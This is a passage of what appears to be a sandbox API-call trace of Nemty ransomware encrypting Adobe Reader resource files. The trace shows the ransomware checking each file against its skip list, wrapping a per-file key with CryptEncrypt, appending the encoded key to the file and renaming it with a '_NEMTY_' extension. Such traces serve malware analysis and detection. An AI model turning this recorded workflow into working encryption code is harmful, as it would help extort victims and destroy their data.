hHeap=0x4f90000) returned 1 [0216.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.520] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6068, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.zh_CN.txt", cAlternateFileName="DISPLA~3.TXT")) returned 1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2=".") returned 1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="..") returned 1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="...") returned 1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="windows") returned -1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="rsa") returned -1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="NTDETECT.COM") returned -1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="ntldr") returned -1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="MSDOS.SYS") returned -1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="IO.SYS") returned -1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="boot.ini") returned 1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="boot.ini") returned 1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.520] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="ntuser.dat") returned -1 [0216.521] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="desktop.ini") returned 1 [0216.521] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="CONFIG.SYS") returned 1 [0216.521] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="RECYCLER") returned -1 [0216.521] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.521] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="bootmgr") returned 1 [0216.521] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="programdata") returned -1 [0216.521] lstrcmpiW (lpString1="DisplayLanguageNames.zh_CN.txt", lpString2="appdata") returned 1 [0216.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_CN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_CN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_CN.txt", lpUsedDefaultChar=0x0) returned 30 [0216.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_CN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_CN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_CN.txt", lpUsedDefaultChar=0x0) returned 30 [0216.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_CN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_CN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_CN.txt", lpUsedDefaultChar=0x0) returned 30 [0216.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_CN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_CN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_CN.txt", lpUsedDefaultChar=0x0) returned 30 [0216.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.521] Sleep (dwMilliseconds=0x5) [0216.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34b27050, dwHighDateTime=0x1d561e8)) [0216.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34b27050, dwHighDateTime=0x1d561e8)) [0216.526] GetLastError () returned 0x0 [0216.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.526] GetLastError () returned 0x0 [0216.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.526] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.526] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.526] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.526] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="vDu9okEvex4+w221FwTcgVFbE+l318iKl0tTkpSwahWokioNCmT8/yHD8LZIdnea\r\nJ8T1hNpoW+ysA4VqhH6TwnwnwKWSF9ZfUkFqJ2b/CsI23RorDBhO0gIlk3v0xqNU\r\nIFjrKwA8kJEU5DmnJV/HdFPG7b3yCDnXh0enmGNZMPPxXdbEeZt1BEqFGRnLsri3\r\n5zRdE/VCPWbogWFVmL/BTdEZ91DTB5vHtEooc2E7JlepZOrp1uaCGtwIWHFPQ6cj\r\nIl/TW45kzqHF9y0TiUzDGlCXPejweitBGi8JXZG6SRTtc+jQRL6TXv0i9WyXUINJ\r\nsFhxFrRBMlgjHsvdtf4OIA==\r\n", pcchString=0x653e5dc) returned 1 [0216.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.527] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24680) returned 1 [0216.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6060) returned 0x6352c48 [0216.527] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.527] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6060, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6060, lpOverlapped=0x0) returned 1 [0216.530] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.530] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6060, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6060, lpOverlapped=0x0) returned 1 [0216.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.530] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6068 [0216.530] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.530] CloseHandle (hObject=0x2e8) returned 1 [0216.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.531] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt._nemty_kgobjgd_")) returned 1 [0216.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.532] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x605a, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.zh_TW.txt", cAlternateFileName="DISPLA~1.TXT")) returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2=".") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="..") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="...") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="windows") returned -1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="rsa") returned -1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="NTDETECT.COM") returned -1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="ntldr") returned -1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="MSDOS.SYS") returned -1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="IO.SYS") returned -1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="boot.ini") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="boot.ini") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="ntuser.dat") returned -1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="desktop.ini") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="CONFIG.SYS") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="RECYCLER") returned -1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="bootmgr") returned 1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="programdata") returned -1 [0216.532] lstrcmpiW (lpString1="DisplayLanguageNames.zh_TW.txt", lpString2="appdata") returned 1 [0216.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_TW.txt", lpUsedDefaultChar=0x0) returned 30 [0216.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_TW.txt", lpUsedDefaultChar=0x0) returned 30 [0216.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_TW.txt", lpUsedDefaultChar=0x0) returned 30 [0216.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_TW.txt", lpUsedDefaultChar=0x0) returned 30 [0216.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.533] Sleep (dwMilliseconds=0x5) [0216.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34b4d1b0, dwHighDateTime=0x1d561e8)) [0216.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34b4d1b0, dwHighDateTime=0x1d561e8)) [0216.542] GetLastError () returned 0x0 [0216.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.542] GetLastError () returned 0x0 [0216.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.542] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.542] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.542] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.542] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="eDn85V8ykdAUo5ekkCEeHtvISNv5MS4FL/lakgNbun+as9Nx1ClBZWYQujE4M5z/\r\nvoaTfUepz4JpwMxXgH38sW9Xu6Sw+fo9QCJbAeFa5WADnwsLX7ip39LzvgVatlu+\r\n/sOdhfl4v6NztZvriSKGBMUGweRVUq55m+YO3LGQrVjMgaToNAgPICxhtxKwmELH\r\nS29fHYNE+eKIm9nY/oP+TwdKYD1YiypfBKUZ9+oMJ/d4ZSQ7FJLdnO4svR96/5SS\r\nonr5rBwj6uCth4mDOJIqPDq+t8VN0Qn2kYzc0BJjjmlYaLAXH7LOVFlRQkKfL/25\r\nHkjIY5USGVnuPWS7Iu0low==\r\n", pcchString=0x653e5dc) returned 1 [0216.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.542] 